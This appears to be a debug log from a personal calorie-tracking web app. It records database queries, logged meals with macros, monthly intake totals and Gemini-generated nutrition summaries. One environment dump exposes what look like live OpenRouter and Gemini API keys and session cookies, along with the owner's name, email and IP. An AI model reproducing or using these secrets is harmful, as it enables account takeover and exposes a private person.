      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T14:50:15.868Z server-connect:output restrict: undefined
2025-12-22T14:50:15.868Z server-connect:app Executing action step single
2025-12-22T14:50:15.868Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-22T14:50:15.869Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's nutrition provided a good foundation with post-workout protein and a balanced meal. However, the overall intake appears to be on the lower side, potentially impacting recovery and muscle development goals. Ensuring adequate nutrient density throughout the day will be key for sustained progress.",
    bad_points: [
      'Overall food variety is limited.',
      'Protein intake may be insufficient for muscle development goals.',
      'Potential for lower energy levels due to limited food volume.',
      'Sugar added to milk tea.'
    ],
    good_points: [
      'Post-workout protein intake is present.',
      'Inclusion of a balanced meal with carbohydrates and some protein.',
      'Hydration with green tea is a positive.'
    ],
    suggestions: [
      'Incorporate more protein sources throughout the day, such as lentils, beans, or lean meats.',
      'Increase the variety of vegetables and fruits to enhance nutrient intake.',
      'Consider adding healthy fats like nuts or seeds to meals.',
      'Reduce or eliminate added sugar in beverages.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slight downward trend with potential for stabilization.'
  },
  date: '2025-12-21T18:30:00.000Z'
}
2025-12-22T14:50:15.869Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-22T14:50:15.869Z server-connect:app Executing action step select
2025-12-22T14:50:15.869Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-22T14:50:15.871Z server-connect:output item_list: [
  {
    id: 478,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Cucumber',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of quick energy and potassium for pre-workout.'
  },
  {
    id: 479,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Designed to boost energy and performance for workouts. Calories are usually minimal.'
  },
  {
    id: 480,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Egg whites (lower fat, more volume)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout.'
  },
  {
    id: 481,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Wheat Semolina Pasta (homemade)',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 1,
    quantity: '1 serving (approx 100g cooked)',
    replacements: 'Zucchini noodles,Shirataki noodles,Whole wheat pasta (slightly more fiber, similar calories)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 2,
    skip_reason: 'Provides carbohydrates for energy, but refined semolina can be replaced with whole wheat for more fiber and sustained energy. For muscle development, carbs are important, but quality matters.'
  },
  {
    id: 482,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Matar (Green Peas)',
    calories: 40,
    protein_gm: 3,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: 'Mixed with pasta (approx 50g)',
    replacements: 'Spinach,Broccoli,Cauliflower',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of fiber, vitamins, and some plant-based protein. Excellent addition to a meal.'
  },
  {
    id: 483,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 75,
    protein_gm: 4,
    carbs_gm: 8,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black tea with lemon,Green tea,Herbal tea,Tea with skim milk and no sugar',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 2,
    skip_reason: 'Contains sugar and milk, which add calories. While not terrible, for muscle development, focusing on protein and complex carbs is better. Can be enjoyed in moderation.'
  },
  {
    id: 484,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'White Sugar',
    calories: 16,
    protein_gm: 0,
    carbs_gm: 4,
    fat_gm: 0,
    quantity: '1 spoon (assuming 1 teaspoon, approx 4g)',
    replacements: 'Artificial sweeteners (stevia, erythritol, sucralose),Less sugar,Small amount of honey (still caloric, but some nutritional benefits)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 3,
    skip_reason: 'High in empty calories, provides no nutritional value, and can contribute to sugar crashes. For muscle development, these calories are better spent on nutrient-dense foods.'
  },
  {
    id: 485,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 1,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Black coffee (no sugar/milk)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 1,
    skip_reason: 'Excellent choice. Very low in calories, rich in antioxidants, and can aid metabolism. No reason to skip.'
  },
  {
    id: 486,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Aalo Gobi Sukhi Sabji',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed mixed vegetables,Gobi sabji with less potato,Salad with grilled chicken/paneer',
    created_at: '2025-12-22T03:10:22.000Z',
    skip_level: 1,
    skip_reason: 'Generally healthy, but portion size and oil content can impact calorie count. Good source of vegetables.'
  },
  {
    id: 487,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Roti',
    calories: 270,
    protein_gm: 9,
    carbs_gm: 57,
    fat_gm: 3,
    quantity: '3 rotis (approx 30g each)',
    replacements: 'Whole wheat roti (slightly lower GI),Jowar/Bajra roti (higher fiber),Brown rice (in moderation),Quinoa',
    created_at: '2025-12-22T03:10:22.000Z',
    skip_level: 2,
    skip_reason: 'While a staple, 3 rotis can contribute significantly to carb intake. For muscle development, focus on complex carbs and protein. Can be reduced or swapped for higher fiber options.'
  },
  {
    id: 488,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-22T06:19:05.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, no reason to skip. Contains antioxidants and can aid metabolism.'
  }
]
2025-12-22T14:50:15.871Z server-connect:app Executing action step setvalue
2025-12-22T14:50:15.871Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-22T14:50:15.872Z server-connect:output var_total: 940
2025-12-22T14:50:15.872Z server-connect:app Executing action step setvalue
2025-12-22T14:50:15.872Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-22T14:50:15.872Z server-connect:output var_consumed: 39
2025-12-22T14:50:15.872Z server-connect:app Executing action step setvalue
2025-12-22T14:50:15.872Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-22T14:50:15.872Z server-connect:output var_deficit: 1460
2025-12-22T14:50:15.872Z server-connect:app Executing action step custom
2025-12-22T14:50:15.872Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-22T14:50:15.873Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '940',
    surplus_or_deficit: '1460',
    status_flag: 2
  }
]
2025-12-22T14:50:16.420Z server-connect:app Executing action step identify
2025-12-22T14:50:16.421Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:16.421Z server-connect:output identity: 1
2025-12-22T14:50:45.298Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-22T14:50:45.298Z server-connect:app Executing action step identify
2025-12-22T14:50:45.298Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:45.298Z server-connect:output identity: 1
2025-12-22T14:50:45.298Z server-connect:app Executing action step restrict
2025-12-22T14:50:45.298Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T14:50:45.298Z server-connect:output restrict: undefined
2025-12-22T14:50:45.299Z server-connect:app Executing action step processWithGemini
2025-12-22T14:50:45.299Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-22T14:50:48.812Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Dal (Lentil Soup)',
      quantity: '1 serving (approx 150g)',
      calories_consumed: 150,
      total_calories: 150,
      protein: 10,
      carbs: 25,
      fat: 2,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: null
    },
    {
      food_name: 'Boiled Rice',
      quantity: '1 serving (approx 150g cooked)',
      calories_consumed: 195,
      total_calories: 195,
      protein: 4,
      carbs: 43,
      fat: 0.5,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'While a good source of energy, brown rice or other whole grains offer more fiber and nutrients for sustained energy and better digestion, which is beneficial for muscle development.'
    },
    {
      food_name: 'Onion Tomato Kheera Salad',
      quantity: '1 serving (approx 100g)',
      calories_consumed: 30,
      total_calories: 30,
      protein: 1,
      carbs: 6,
      fat: 0.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: null
    },
    {
      food_name: 'Amla (Indian Gooseberry)',
      quantity: '1 piece (approx 20g)',
      calories_consumed: 10,
      total_calories: 10,
      protein: 0.2,
      carbs: 2.5,
      fat: 0.1,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: null
    }
  ],
  total_macros: {
    total_calories: 385,
    total_protein: 15.2,
    total_carbs: 76.5,
    total_fat: 3.1,
    unit: 'grams'
  }
}
2025-12-22T14:50:55.096Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-22T14:50:55.097Z server-connect:app Executing action step identify
2025-12-22T14:50:55.097Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:55.097Z server-connect:output identity: 1
2025-12-22T14:50:55.097Z server-connect:app Executing action step restrict
2025-12-22T14:50:55.097Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T14:50:55.097Z server-connect:output restrict: undefined
2025-12-22T14:50:55.097Z server-connect:app Executing action step condition
2025-12-22T14:50:55.097Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-22T14:50:55.097Z server-connect:app Executing action step repeat
2025-12-22T14:50:55.098Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-22T14:50:55.098Z server-connect:app Executing action step insert
2025-12-22T14:50:55.098Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T14:50:55.099Z server-connect:output calories: { affected: 1, identity: 489 }
2025-12-22T14:50:55.099Z server-connect:app Executing action step insert
2025-12-22T14:50:55.099Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T14:50:55.099Z server-connect:output calories: { affected: 1, identity: 490 }
2025-12-22T14:50:55.099Z server-connect:app Executing action step insert
2025-12-22T14:50:55.100Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T14:50:55.100Z server-connect:output calories: { affected: 1, identity: 491 }
2025-12-22T14:50:55.100Z server-connect:app Executing action step insert
2025-12-22T14:50:55.100Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T14:50:55.101Z server-connect:output calories: { affected: 1, identity: 492 }
2025-12-22T14:50:55.101Z server-connect:output repeat: [ {}, {}, {}, {} ]
2025-12-22T14:50:55.101Z server-connect:output condition: undefined
2025-12-22T14:50:55.420Z server-connect:router Serving templateView /calorie-tracker
2025-12-22T14:50:55.420Z server-connect:app Executing action step identify
2025-12-22T14:50:55.420Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:55.421Z server-connect:output identity: 1
2025-12-22T14:50:55.421Z server-connect:app Executing action step restrict
2025-12-22T14:50:55.421Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T14:50:55.421Z server-connect:output restrict: undefined
2025-12-22T14:50:55.421Z server-connect:router Render template layouts/main
2025-12-22T14:50:55.421Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUcZynkQaBcinfd6c8LWexQ%3D%3D.pUHSHvyZiGoVnj7LwqpjvrhDuEKW4qnU3t4u6SZrJYqeq5VzEnw2Xfj0%2FgMJ3gw624NbWwH0FswxUlJcosN11qmgCk%2FP7I5wyaZGGfhZ4WZJMW6pyfD%2BUB2FEssSTdCtBVmkKJtdeQxWBW%2BL54VnKp7gQVB5SOt%2BZPq75yMtNXI%3D.gQF4D%2Fv%2Fmj2pU55wk28S6DlbNlSkSMEKhmpD5zakkzg; your_r_git.sid=s%3AgwsbyfgMgLliY3GZNOiekTMyL77HvovV.JKK23g0xbj1a2NbU9SVyMbOPi9tBBVdzx5K1pnGj5%2FI',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T14:50:11.181Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUcZynkQaBcinfd6c8LWexQ%3D%3D.pUHSHvyZiGoVnj7LwqpjvrhDuEKW4qnU3t4u6SZrJYqeq5VzEnw2Xfj0%2FgMJ3gw624NbWwH0FswxUlJcosN11qmgCk%2FP7I5wyaZGGfhZ4WZJMW6pyfD%2BUB2FEssSTdCtBVmkKJtdeQxWBW%2BL54VnKp7gQVB5SOt%2BZPq75yMtNXI%3D.gQF4D%2Fv%2Fmj2pU55wk28S6DlbNlSkSMEKhmpD5zakkzg; your_r_git.sid=s%3AgwsbyfgMgLliY3GZNOiekTMyL77HvovV.JKK23g0xbj1a2NbU9SVyMbOPi9tBBVdzx5K1pnGj5%2FI',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-22T14:50:55.720Z server-connect:app Executing action step identify
2025-12-22T14:50:55.720Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:55.720Z server-connect:output identity: 1
2025-12-22T14:50:56.208Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T14:50:56.210Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T14:50:56.210Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T14:50:56.211Z server-connect:app Executing action step identify
2025-12-22T14:50:56.211Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:56.211Z server-connect:output identity: 1
2025-12-22T14:50:56.211Z server-connect:app Executing action step restrict
2025-12-22T14:50:56.211Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T14:50:56.211Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-22T14:50:56.211Z server-connect:output restrict: undefined
2025-12-22T14:50:56.211Z server-connect:app Executing action step single
2025-12-22T14:50:56.211Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T14:50:56.212Z server-connect:app Executing action step identify
2025-12-22T14:50:56.212Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:56.212Z server-connect:output identity: 1
2025-12-22T14:50:56.212Z server-connect:app Executing action step restrict
2025-12-22T14:50:56.212Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:56.212Z server-connect:output restrict: undefined
2025-12-22T14:50:56.212Z server-connect:app Executing action step single
2025-12-22T14:50:56.212Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T14:50:56.212Z server-connect:app Executing action step identify
2025-12-22T14:50:56.212Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:56.212Z server-connect:output identity: 1
2025-12-22T14:50:56.212Z server-connect:app Executing action step restrict
2025-12-22T14:50:56.212Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T14:50:56.214Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T14:50:56.214Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's nutrition provided a good foundation with post-workout protein and a balanced meal. However, the overall intake appears to be on the lower side, potentially impacting recovery and muscle development goals. Ensuring adequate nutrient density throughout the day will be key for sustained progress.",
    bad_points: [
      'Overall food variety is limited.',
      'Protein intake may be insufficient for muscle development goals.',
      'Potential for lower energy levels due to limited food volume.',
      'Sugar added to milk tea.'
    ],
    good_points: [
      'Post-workout protein intake is present.',
      'Inclusion of a balanced meal with carbohydrates and some protein.',
      'Hydration with green tea is a positive.'
    ],
    suggestions: [
      'Incorporate more protein sources throughout the day, such as lentils, beans, or lean meats.',
      'Increase the variety of vegetables and fruits to enhance nutrient intake.',
      'Consider adding healthy fats like nuts or seeds to meals.',
      'Reduce or eliminate added sugar in beverages.'
    ],
    predicted_weight: 70,
